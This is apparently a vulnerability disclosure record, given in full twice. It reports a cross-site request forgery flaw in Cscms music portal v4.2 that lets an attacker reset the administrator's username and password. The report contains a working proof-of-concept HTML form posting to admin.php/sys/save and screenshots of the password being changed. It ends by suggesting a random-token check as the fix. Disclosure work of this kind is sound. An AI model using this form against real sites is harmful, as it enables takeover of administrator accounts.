A Cross-site request forgery (CSRF) vulnerability in Cscms music portal system v4.2 allows remote attackers to change the administrator's username and password.
cpe:2.3:a:chshcms:cscms:4.2:*:*:*:*:*:*:*
1865339A-4927-439D-9D16-D38C8330CB92
OR
details
In cscms v4.2 A problem was found in 1

Cross-site request forgery (CSRF) vulnerability in /Cscms_4.2/upload/admin.php/sys/save allow remote attackers to change
administrator's username and password.
Trigger condition: the administrator clicks a malicious link


Cause of vulnerability:
We can find that this script has no anti CSRF mechanism.

Exploit:
Login administrator click URL: http://ip/csrf.html
csrf. html：
```html
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.136.136/Cscms_4.2/upload/admin.php/sys/save" method="POST">
      <input type="hidden" name="adminname" value="admin" />
      <input type="hidden" name="adminpass" value="123" />#The password you want to change here is 123
      <input type="hidden" name="sid" value="1" />
      <input type="hidden" name="id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

/Cscms_4.2/upload/admin.php/sys/save
![image](https://user-images.githubusercontent.com/62650837/168026879-cd039290-6742-44a9-9715-2c47b2b0f51f.png)

administrator click

![image](https://user-images.githubusercontent.com/62650837/168027101-40f7cf54-bfa1-4486-b68b-7169abbac449.png)

success

![image](https://user-images.githubusercontent.com/62650837/168027242-45203e14-3790-4189-96fb-8438f31f272e.png)
The password has been successfully changed to 123
![image](https://user-images.githubusercontent.com/62650837/168027500-f1973cb5-be97-40c3-b0e6-d4833e9806c0.png)

Repair method:
Join the random token check





Cross-site request forgery vulnerability exists in Cscms music portal system v4.2
This is a GitHub Issue
repo:cscms
owner:chshcms
Title : Cross-site request forgery vulnerability exists in Cscms music portal system v4.2
Issue date:

--- start body ---
details
In cscms v4.2 A problem was found in 1

Cross-site request forgery (CSRF) vulnerability in /Cscms_4.2/upload/admin.php/sys/save allow remote attackers to change
administrator's username and password.
Trigger condition: the administrator clicks a malicious link


Cause of vulnerability:
We can find that this script has no anti CSRF mechanism.

Exploit:
Login administrator click URL: http://ip/csrf.html
csrf. html：
```html
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.136.136/Cscms_4.2/upload/admin.php/sys/save" method="POST">
      <input type="hidden" name="adminname" value="admin" />
      <input type="hidden" name="adminpass" value="123" />#The password you want to change here is 123
      <input type="hidden" name="sid" value="1" />
      <input type="hidden" name="id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

/Cscms_4.2/upload/admin.php/sys/save
![image](https://user-images.githubusercontent.com/62650837/168026879-cd039290-6742-44a9-9715-2c47b2b0f51f.png)

administrator click

![image](https://user-images.githubusercontent.com/62650837/168027101-40f7cf54-bfa1-4486-b68b-7169abbac449.png)

success

![image](https://user-images.githubusercontent.com/62650837/168027242-45203e14-3790-4189-96fb-8438f31f272e.png)
The password has been successfully changed to 123
![image](https://user-images.githubusercontent.com/62650837/168027500-f1973cb5-be97-40c3-b0e6-d4833e9806c0.png)

Repair method:
Join the random token check





--- end body ---

comments :
--- start comments ---

--- end comments ---